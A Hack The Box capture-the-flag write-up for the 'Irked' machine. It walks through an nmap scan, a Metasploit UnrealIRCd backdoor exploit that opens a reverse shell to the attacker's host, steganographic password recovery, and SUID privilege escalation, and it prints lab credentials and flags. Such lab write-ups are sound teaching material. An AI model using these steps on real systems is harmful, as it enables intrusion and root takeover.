Hack The Box - Writeup

Irked

Patrick Hener

January 10, 2019

Table of Content

Recon

nmap

```
Discovered open port 80/tcp on 10.10.10.117
Discovered open port 111/tcp on 10.10.10.117
Discovered open port 22/tcp on 10.10.10.117
Discovered open port 56305/tcp on 10.10.10.117
Discovered open port 8067/tcp on 10.10.10.117
Discovered open port 65534/tcp on 10.10.10.117
Discovered open port 6697/tcp on 10.10.10.117
```

Results of nmap with service scan

Port	Status	Service
22/tcp	open	OpenSSH 6.7p1 Debian
80/tcp	open	Apache 2.4.10
111/tcp	open	rpcbind
6697	open	UnrealIRCd
8067	open	UnrealIRCd
56305	open	RPC
65534	open	UnrealIRCd

Initial Foothold - Get user.txt

I didn't bother enumerating the web service after looking at the page. A hint was given to look at irc daemon. So I searched Exploit-DB for a exploit and found a metasploit module.

After using it you will gain a shell as user `ircd`.

```
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  10.10.10.117     yes       The target address
   RPORT  6697             yes       The target port (TCP)


Payload options (cmd/unix/reverse_perl):

```

```
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may
       ↪ be specified)
   LPORT  4444             yes       The listen port

msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP handler on 10.10.14.2:4444
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.117:38042)
    ↪ at 2018-11-21 12:19:02 +0100

id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
```

In the users directory you'll find a secret backup file which says

```
cat /home/djmardov/Documents/.backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
```

The password does not work directly with ssh.

So the hint is it might be hidden somewhere. Let's use `steghide` on the image we found on port 80.

```
steghide --extract -sf irked.jpg
Enter passphrase:
wrote extracted data to "pass.txt".
cat pass.txt
Kab6h+m+bbp2J:HG
```

Well will you look at that! SSH incoming!

Well and sure enough:

```
djmardov@irked:~/Documents$ cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
djmardov@irked:~/Documents$
```

Priv Esc - Get root.txt

Looking around the machine you will notice a SUID binary named `viewuser`.

Executing it you will get that this is still under development and needs to read from /tmp/listusers.

Then create a file /tmp/listusers with the content `cat /root/root.txt`. Give it permissions 777.

Finally execute the binary and you will get the flag.

```
djmardov@irked:/usr/bin$ ./viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2018-11-20 10:46 (:0)
djmardov pts/2        2018-11-21 06:50 (10.10.14.2)
8d8e9e8be64654b6dccc3bff4522daf3
```

You might wanna upgrade to a shell or just take the quick win.